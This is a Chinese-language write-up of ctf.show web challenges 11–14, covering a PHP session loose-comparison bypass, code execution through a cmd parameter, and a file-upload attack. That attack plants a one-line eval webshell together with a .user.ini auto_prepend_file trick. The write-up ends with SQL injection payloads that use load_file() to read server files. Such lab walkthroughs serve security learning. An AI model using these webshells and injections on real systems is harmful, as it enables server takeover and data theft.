ctf.show web
web11
本题是一个登陆问题,涉及php会话机制问题

这段验证密码的代码块已经把SQL注入用的东西过滤完了,下面看到SESSION(会话),就会想到cookie,抓包,使用BP的Repeater模块,果然发现了个好东西

什么是PHPSESSID?
就是一个客户端Cookie,每个用户访问网站时,PHP会为其分配一个唯一会话的ID,服务器通过PHPSESSID找到对应存储在服务器上的会话数据(如$_SESSIN数组)
工作流程:
用户访问网站 ──► 服务器创建新会话ID(PHPSESSID) ──► 通过Set-Cookie头发送给客户端 │ 客户端后续请求 ──► 携带PHPSESSID Cookie ──► 服务器验证ID并读取会话数据
知道了这个东西于是我们就可以把原PHPSESSID删除掉并创造一个空密码,让$_SESSION[\'password\']和$password 比较,$_SESSION[\'password\'] 是 null,$password 是空字符串 \'\',松散比较是TURE,这样就绕过了限制
这样就会从服务器的响应中找到答案

web12

查看源代码,发现有一个
,提示我们攻击cmd,先来一个?cmd=phpinfo();,发现显示出php版本页面,于是我们使用?cmd=print_r(glob(\'*\'));来发现文件:

最后使用?cmd=highlight_file(\'上面的文件名\');来获取flag

知识点:
1、print_r(glob(\'*\')) ——glob()是PHP的内置函数,用于查找与指定模式匹配的文件路径,参数*是一个通配符,表示任意字符,因此glob(\'*\')会返回当前目录下所有的文件和文件夹,返回值是一个数组。print_r()是PHP内置函数,用于以人类可读的格式输出变量,它会将数组的结构展开,显示每个元素的键和值,方便调试使用
假设当前目录下有以下文件和文件夹:
/*example/index.phpstyle.cssimage.jpg*/
执行print_r(glob(\'*\'))的输出会是:
Array( [0] => example [1] => index.php [2] => style.css [3] => image.jpg)
2、highlight_file() ——是PHP中的一个内置函数,用于将文件内容以语法高亮的HTML格式输出,括号中加文件名会读取这个文件的内容,并根据PHP语法规则对其进行着色,最终生成带有HTML和CSS样式的代码预览。简单来说,就是给文件内容上上色(如本题的flag)。、
web13

发现是一个文件上传漏洞,于是我们先随便上传个文件,发现总会出现error file size,说明肯定对文件的大小有限制,然后作为一个脚本小子,我用我的Dirsearch扫描了一下,

访问一下啥也没有,于是我就些微的求助了网上的大佬,大佬告诉我说可以去访问upload.php.bak,我说为什么,大佬给我说.bak是备份文件,这道题出现了源码泄露,于是我就访问了,获得了惊喜,发现文件大小要小于24字节,名字长度要小于9,后缀小于等于3,名字中不能有php——
接下来我们准备好13.txt文件,内容是一句话木马<?php eval($_POST[\'a\']);
13.user.ini文件,内容是auto_prepend_file =2.txt,使所有文件都包含它,
使用蚁剑连接发现对文件无操作权限,于是使用Hackbar插件在网页操作——

显示出目录(这里的glob()函数作用见web12)
![]()
于是最后一步再次使用highlight_file()函数

拿到了flag
知识点:
1、.bak文件,备份文件,当原始文件损坏,丢失或需要恢复到之前的版本时,可以使用bak文件
2、一句话木马:
通常以一行代码的形式存在,主要用于入侵Web服务器后实现对服务器的远程控制,其本质是一段具有文件操作,命令执行等功能的脚本代码。
核心功能:通过接收外部传入的参数(如POST/GET请求),执行对应系统命令或操作服务器文件,从而让攻击者远程操控目标服务器
特点:隐蔽性强,跨语言支持,扩展性高
分类:
代码中的\"a\"是自定义的参数名,可替换为任意字符,用于后续连接时验证身份
工作原理:
- 植入阶段:攻击者通过 Web 应用的漏洞(如文件上传漏洞、SQL 注入漏洞、代码执行漏洞等),将一句话木马代码写入目标服务器的可访问目录(如网站根目录下的
upload、include文件夹)。 - 连接阶段:攻击者使用 “木马连接工具”(如蚁剑等),输入木马文件的 URL 和预设参数名(如 “a”),向目标服务器发送包含恶意命令的请求。
- 执行阶段:服务器解析并执行一句话木马代码,将命令执行结果返回给攻击者,实现远程控制(如查看文件、修改配置、上传后门等)。
3、.user.ini文件:是PHP环境中一种特殊的配置文件,主要用于对PHP运行环境进行个性化设置,其作用范围通常局限于所在目录及子目录,在本题中的应用是:在这个文件中写入auto_prepend_file=13.txt让该目录下所有的PHP页面自动加载木马,绕过对单个文件的检测
在这个目录下上传之后,使其所有子目录都包含木马文件(就是13.txt)

于是下面这个网站就包含了木马文件,我们就在这个网站页面使用Hackbar传递参数就可以得到答案

第三条的解释是我自己的理解,有什么不对的地方请大佬多多指正
web14
分析页面代码发现只需让参数c=3,发现一个子网站——here_1s_your_f1ag.php,访问一下,出现查询界面
![]()

网址后面有个?query=1,存在SQL注入点
检查一下,发现

利用preg_match()过滤了information_schema.tables,information_schema.columns,linestring,空格,polygon,这里我这个初学者学习了一个绕过方法,反引号,具体见文章
https://blog.csdn.net/miuzzx/article/details/104373112?fromshare=blogdetail&sharetype=blogdetail&sharerId=104373112&sharerefer=PC&sharesource=2401_87564369&sharefrom=from_link
information_schema.tables和information_schema.`tables`都可以使用。
于是我们使用Hackbar进行SQL注入
(使用Hackbar可能会出现无反应的情况,只需要把query的值放到查询框里就行了)
爆一下库名

得到库名是web
爆一下表名:

表名是content
爆一下字段名:

字段名是id,username,password
爆一下值

发现

说明数据库里没有flag,给出的提示我们可以看到答案可能在题目刚开始的secret.php文件里,怎么在数据库里访问文件呢,我们可以使用Mysql内置函数load_file()构造
?query=-1/**/union/**/select/**/load_file(\'/var/www/html/secret.php\'),再检查一下,发现

于是访问/real_flag_is_here可得到答案
?query=-1/**/union/**/select/**/load_file(\'/real_flag_is_here\')
本题大部分思路来自文章
https://blog.csdn.net/miuzzx/article/details/104373112?fromshare=blogdetail&sharetype=blogdetail&sharerId=104373112&sharerefer=PC&sharesource=2401_87564369&sharefrom=from_link


